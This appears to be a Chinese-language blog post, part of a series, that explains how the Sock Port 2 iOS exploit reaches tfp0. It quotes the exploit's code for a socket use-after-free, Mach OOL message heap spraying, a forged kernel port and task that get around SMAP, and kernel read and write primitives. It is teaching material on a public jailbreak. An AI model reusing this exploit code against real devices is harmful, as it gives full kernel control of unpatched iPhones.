iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !

Soulghost發表於2019-12-08

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
  2. iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address
  3. iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying

前言

通過前 3 篇文章我們已經掌握了通過 Sock Port 達到 tfp0 所需要的 Primitives,本文將帶大家分析 Sock Port 利用上述 Primitives 實現 tfp0 的過程。

準備工作

本文只會對關鍵程式碼進行講解,請大家自行開啟 Sock Port 2 中的 exploit.c,從 get_tfp0 函式入手結合本文進行分析。

步驟分解

首先我們將整個獲得 tfp0 的步驟分解,給大家一個整體的認識。

  1. 洩露程式自己的 self_port_address,進而獲取以下內容;
    • self_task_addresss
    • ipc_space_kernel
  2. 使用 pipe 函式分配一對程式通訊管道控制程式碼 fds,通過 self_task_addresss 包含的程式資訊 proc 可以查詢到 fds 控制程式碼在核心中所分配緩衝區的實際地址 pipe_buffer_address
    • 使用 pipe 可以分配出一對在程式之間讀寫的檔案描述符,在讀寫的同時會在核心中分配相應的緩衝區
  3. 使用上一篇文章中提到的 IOSurface Spraying 結合 Socket UAF 可以實現將 pipe_buffer_address 對應的內容釋放,從而得到一個已釋放的 pipe_buffer
  4. 建立一個有 send right 的 mach port,使用 OOL Message Spraying 將其填充到已釋放的 pipe_buffer
  5. 此時核心會認為 pipe_buffer 中的都是合法 port,隨後我們偽造一個 fake port 和對應的 fake task,然後將 fake_port_address 替換到 pipe_buffer 的前 8 個位元組,這樣我們就拿到了一個具有 send right 的 ipc_porttask 的控制權;
  6. 接收之前的 OOL Message,我們會重新拿到執行 OOL Message Spraying 時使用的 ports,但 ports[0] 已經被篡改為我們的 fake_port,我們對其有完整的控制能力;
  7. 通過操縱 fake_port,我們能夠獲得一個更加穩定的 Kernel Read Primitive,此後藉助它列舉出核心程式,然後拿到核心的 vm_map
  8. 將核心的 vm_map 賦予 fake port,此時我們的 fake port 已經是一個完備的 kernel task port,tfp0 初步成立;
  9. 用這個 tfp0 去建立一個更穩定的 tfp0,然後清理腐化的環境,消除後續的 Kernel Panic 隱患。

下面將詳細講解這些步驟中在前序文章中未提及的內容。

SMAP 與 Pipe Buffer

Supervisor Mode Access Prevention

PageSize 為 16KB 的 iPhone 7 及以上裝置包含了被稱之為 SMAP(Supervisor Mode Access Prevention) 的緩解措施,通過這項措施能夠阻止核心直接訪問 userland 記憶體,為二進位制漏洞利用帶來了一些限制。

根據 Wikipedia 上對 SMAP 的描述[1]:

Supervisor Mode Access Prevention (SMAP) is a feature of some CPU implementations such as the Intel Broadwell microarchitecture that allows supervisor mode programs to optionally set user-space memory mappings so that access to those mappings from supervisor mode will cause a trap. This makes it harder for malicious programs to "trick" the kernel into using instructions or data from a user-space program.

即 SMAP 使得處於 Supervisor Mode 的程式(例如 Kernel)在訪問使用者空間記憶體時會觸發異常,這使得我們在使用者態 fake 的資料不能直接被核心訪問。為了繞過這一限制,我們必須設法在核心中分配可控的區域。

Pipe IO System Call

幸運的是作業系統提供了 Pipe IO System Call,根據 GeeksforGeeks 上對 Pipe 的描述[2]:

Conceptually, a pipe is a connection between two processes, such that the standard output from one process becomes the standard input of the other process. In UNIX Operating System, Pipes are useful for communication between related processes(inter-process communication).

即 pipe 是兩個程式間通訊的管道,一個程式的標準輸出將作為另一個程式的標準輸入。使用 pipe 函式可以得到一對讀寫控制程式碼 fds,如下圖所示(圖片來自 GeeksforGeeks):

圖片來自 GeeksforGeeks

使用 pipe 讀寫時,由於要實現跨程式共享記憶體,緩衝區會被分配到核心中,在使用者態拿到的是 fd 控制程式碼,而 fd 對應的緩衝區地址被記錄在了任務埠上,基於已洩露的 task port 和前序文章中提到的 Kernel Read Primitive 即可拿到核心中的緩衝區地址。此時我們已經間接獲得了一塊核心中的可控區域,關鍵程式碼如下(省略了錯誤檢查):

// here we'll create a pair of pipes (4 file descriptors in total)
// first pipe, used to overwrite a port pointer in a mach message
int fds[2];
ret = pipe(fds);
if (ret) {
    printf("[-] failed to create pipe\n");
    goto err;
}

// make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);

write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
複製程式碼

上述程式碼在核心中建立了一個大小為 64K 的緩衝區,需要注意的是 fd 的讀寫平衡,每次 write 操作都會將 cursor 向後移動,每次 read 操作都將把 cursor 向前移動。這裡先通過一次平衡的讀寫在核心中建立了緩衝區,隨後寫入 8 位元組,這是為了方便之後從中讀回第一個 port,即我們的 fake port。

獲取 Pipe Buffer Address

基於 task port 和 fd 控制程式碼很容易就能拿到 pipe buffer 的地址,關鍵程式碼如下:

self_port_addr = task_self_addr(); // port leak primitive
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
self_task_addr = task;
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
self_proc_addr = proc;
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));

uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
複製程式碼

Pipe Buffer UAF

我們的最終目的是控制一個 port,因此需要系統將 port 分配到我們的可控區域,即 pipe buffer 中,這樣我們就能對其進行完全控制。這裡我們將利用 Socket UAF 釋放 Pipe Buffer,再利用 Mach OOL Message Spraying 將有效的 port 填充過來。

Socket UAF Free Primitive

在前序文章中我們講了利用 Socket UAF 實現的 Kernel Read,其實它還可以實現任意核心 Zone 的釋放邏輯,這裡的利用方式與之前提到的 Kernel Read 基本相同,也是把待處理的地址儲存到 fake options 中的 ip6po_pktinfo 欄位。區別在於 Spraying 成功後,我們不讀取內容,而是給 ip6po_pktinfo 寫一個全 0 的結構,這會導致 ip6po_pktinfo 指向的內容被釋放。

按照常規的理解,釋放 ip6po_pktinfo 指向的區域時,釋放的區域長度應當以 ip6po_pktinfo 長度為準,但由核心中的程式碼得知這裡使用了 FREE 函式,自動根據 zone 頭部的 size 決定釋放的長度,即以 ip6po_pktinfo 指向的區域為準,這就導致了一個任意長度區域釋放的 Primitive,核心中的關鍵程式碼如下:

void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {
    if (pktopt == NULL)
    	return;
    
    if (optname == -1 || optname == IPV6_PKTINFO) {
    	if (pktopt->ip6po_pktinfo)
    		FREE(pktopt->ip6po_pktinfo, M_IP6OPT); // <-- free
    	pktopt->ip6po_pktinfo = NULL;
    }
    // ...
複製程式碼

它是對 kfree_addr 的封裝,而 kfree_addr 中有基於地址獲取到 zone 及 size 的邏輯:

vm_size_t kfree_addr(void *addr) {
    vm_map_t map;
    vm_size_t size = 0;
    kern_return_t ret;
    zone_t z;
    
    size = zone_element_size(addr, &z); //
    if (size) {
    	DTRACE_VM3(kfree, vm_size_t, -1, vm_size_t, z->elem_size, void*, addr);
    	zfree(z, addr);
    	return size;
    }
    // ...
複製程式碼

Free the Pipe Buffer

利用上面的 Primitive,我們能夠輕易地釋放 Pipe Buffer:

// free the first pipe buffer
ret = free_via_uaf(pipe_buffer);
複製程式碼

此時我們已經達成了 Pipe Buffer UAF。

Mach OOL Message Spraying

為了獲得合法、可控的 ipc_port,我們使用 Mach OOL Message 進行 Heap Spraying,這裡注意記錄下 remote port,因為後續我們需要接收訊息拿到被我們替換 port 的控制程式碼:

// create a new port, this one we'll use for tfp0
mach_port_t target = new_port();
// reallocate it while filling it with a mach message containing send rights to our target port
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
    // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
    
    // check if spraying worked by reading first 8 bytes
    uint64_t addr;
    read(fds[0], &addr, 8);
    if (addr == target_addr) { // if we see the address of our port, it worked
        break;
    }
    write(fds[1], &addr, 8); // reset buffer position
    
    mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
    p = MACH_PORT_NULL;
}
複製程式碼

這裡我們使用了與 Pipe Buffer 尺寸相同(0x10000)的訊息,以便能夠成功的將 port address 填充到 Pipe Buffer 中。

如何檢查我們是否成功呢?只需要先拿到上述 target port 的地址,再從 Pipe Buffer 中讀取 8B(由於之前我們預寫了 8B,這裡拿到的應該是第一個 port 的地址),如果 Spraying 成功 target port address 應當等於我們從 Pipe Buffer 中讀到的地址。

偽造 port 與 task

另一個 pipe

上述填充到 Pipe Buffer 中的依然是使用者態 port,並沒有 tfp0 能力,我們需要篡改這個 port 以獲得 tfp0。

由於 SMAP 的存在,我們的 fake port 與 fake task 都需要通過 pipe 拷貝到核心中才能被正常訪問,因此我們需要再建立一個 pipe。

Sock Port 原始碼中這個部分十分巧妙,它在核心中分配了能容納 port 與 task 的連續區域,然後讓 port->task 指向與之相鄰的 task 區域,這樣我們就用一片區域同時控制了 port 與 task,又繞過了 SMAP,關鍵程式碼如下:

int port_fds[2] = {-1, -1};
pipe(port_fds);

// create fake port and fake task, put fake_task right after fakeport
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->ref_count = 0xff;

fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}

// 這裡省略了獲得 port_pipe_buffer 地址的程式碼

if (SMAP) {
    // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
    fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
}
else {
    fakeport->ip_kobject = (uint64_t)fake_task;
}
複製程式碼

在 SMAP 下,核心中引用的地址不能來自 userland,因此上述關鍵程式碼底部的 task 指向的是 Pipe Buffer 中的空間。

偷樑換柱

接下來我們用 fake port 去替換 Pipe Buffer 中的第一個合法 port:

if (SMAP) {
    // spraying worked, now the pipe buffer is filled with pointers to our target port
    // overwrite the first pointer with our second pipe buffer, which contains the fake port
    write(fds[1], &port_pipe_buffer, 8);
}
else {
    write(fds[1], &fakeport, 8);
}
複製程式碼

同樣注意,在 SMAP 模式下應當寫入 port_pipe_buffer 的地址而不是 userland 的 fakeport 地址。此時我們已經將 fakeport 放到了合法的 port 區域,換句話說我們完全控制了一個 ipc_port

接收 Mach OOL Message

由於 port 控制程式碼包含了 rights 資訊,我們的篡改會改變 Pipe Buffer 中第一個 port 的控制程式碼,因此我們需要接收 OOL Message 來重新讀到這個控制程式碼,還記得之前記錄下的 remote port 嗎,我們可以通過它接收傳送的 OOL Message:

// receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
    free(msg);
    printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
    goto err;
}

mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
複製程式碼

這裡我們能拿到 fakeport 對應的 port 控制程式碼,而不再是之前的 target port 控制程式碼,這是因為核心在將 OOL Message 拷貝回使用者空間時,會執行 CAST_MACH_PORT_TO_NAME 巨集函式進行轉換:

#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))
複製程式碼

它會擷取 ipc_port 的頭部 ipc_object 的 8B,即 ipc_object 中的前兩個成員:

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages; 
    // ...
};

struct ipc_object {
    ipc_object_bits_t io_bits; // 4B
    ipc_object_refs_t io_references; // 4B
    lck_spin_t	io_lock_data;
};
複製程式碼

因此最終 port 控制程式碼實際上是由 ipc_port 中的 io_bitsio_references 的值組成的。

現在我們同時擁有了 ipc_port 的完全控制權及其控制程式碼,但這個 ipc_port 缺少 vm_map,並不是一個合法的 task port,接下來我們需要將核心的 vm_map 賦予它。

pid_for_task Kernel Read Primitive

pid_for_task 函式接收一個程式的 port 作為引數,並查詢它的 pid 返回,它的實現原理如下:

// 虛擬碼
int pid = get_ipc_port(port)->task->bsd_info->p_pid;
複製程式碼

而結構體成員訪問的本質是偏移量計算:

int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)
複製程式碼

由於我們有 fakeport 的控制權,我們可以修改它的 bsd_info 等於 addr - offset_pid,此時 *(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr - offset_pid,此時上述公式有如下的等價表達:

int pid = *(addr - offset_pid + offset_pid) = *addr
複製程式碼

通過這種方式能穩定讀取 addr 處的 4B 資料,進而實現一個完美的 Kernel Read Primitive:

#define kr32(addr, value)\
    if (SMAP) {\
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) {\
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);
複製程式碼

首先通過 Pipe Buffer 修改 bsd_info,然後將 fakeport 的控制程式碼傳入 pid_for_task,即可讀取到指定地址的 4B 資料。

通過組合多次 kr32 可以實現任意長度資料的 Kernel Read,例如下面的 kr64:

#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)
複製程式碼

獲取 kernel vm_map

基於當前程式的 task_port 可以列舉出所有程式,在這個過程中需要數百次的 Kernel Read,因此需要藉助於上述穩定的 pid_for_task Kernel Read Primitive

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
if (!struct_task) {
    printf("[-] kernel read failed!\n");
    goto err;
}

printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
printf("[+] Let's steal that kernel task port!\n");

// tfp0!

uint64_t kernel_vm_map = 0;

while (struct_task != 0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    if (!bsd_info) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        if (!vm_map) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        kernel_vm_map = vm_map;
        break;
    }
    
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
複製程式碼

由於 proc 是一個雙向連結串列,我們可以從當前程式開始向前列舉,直至 pid=0,再從 kernel task 中取出 vm_map

第一個 tfp0

將上述獲取到的 kernel vm_map 寫入 fakeport,現在我們有了一個合法的 kernel task port

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
複製程式碼

此時我們應該已經擁有一個 tfp0 port,可以藉助於 mach_vm 相關的記憶體函式予以驗證。

穩定的 tfp0

上述 tfp0 是一個偷樑換柱而來的 task port,可能會埋下一些隱患。接下來我們可以用 tfp0 去建立一個合法、穩定、安全的 tfp0:

mach_port_t new_tfp0 = new_port();
if (!new_tfp0) {
    printf("[-] failed to allocate new tfp0 port\n");
    goto err;
}

uint64_t new_addr = find_port(new_tfp0, self_port_addr);
if (!new_addr) {
    printf("[-] failed to find new tfp0 port address\n");
    goto err;
}

uint64_t faketask = kalloc(0x600);
if (!faketask) {
    printf("[-] failed to kalloc faketask\n");
    goto err;
}

kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;

kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
複製程式碼

這裡先建立了一個具有 send rights 的 port,然後重新建立了一個區域來容納 kernel task,這消除了之前 ipc_port 與 task 在 Port Pipe Buffer 中相鄰從而帶來的隱患。隨後將 Port Pipe Buffer 中的 task 拷貝到新分配的 task 區域,再將 fakeport 資料完整拷貝到新建立的 port,由此我們得到了一個新的 tfp0。

環境清理

接下來我們將先前的 tfp0 port 從程式的 port 索引表中抹去,再將已釋放的 Pipe Buffer 從 fd 索引表中抹去,最後關閉 IOSurfaceClient 與 pipe,釋放 userland 臨時分配的緩衝區:

// clean up port
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));

uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;

wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()

if (fds[0] > 0)  close(fds[0]);
if (fds[1] > 0)  close(fds[1]);
if (port_fds[0] > 0)  close(port_fds[0]);
if (port_fds[1] > 0)  close(port_fds[1]);

free((void *)fakeport);
deinit_IOSurface();
複製程式碼

到這裡整個 Sock Port 利用就分析完了,我們拿到了穩定的 tfp0,距離 Jailbreak 又近了一步。

總結

本文梳理了 Sock Port 2 獲得 tfp0 的整個過程,並對關鍵步驟進行了講解,通過閱讀本文能夠對 Sock Port 在整體和細節上分別有深入的認識。

下節預告

到這裡 Sock Port 漏洞解析就告一段落了,通過這個 Exploit 我們僅僅取得了 tfp0,距離 Jailbreak 還有很遠的距離。接下來的文章將開始分析講解 Undecimus Jailbreak 原始碼,講解從 tfp0 到核心程式碼執行,再到各種 Kernel Patch。

iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !

參考資料

  1. Supervisor Mode Access Prevention. Wikipedia
  2. Pipe System Call. GeeksforGeeks
  3. Sock Port 2. jakeajames

相關文章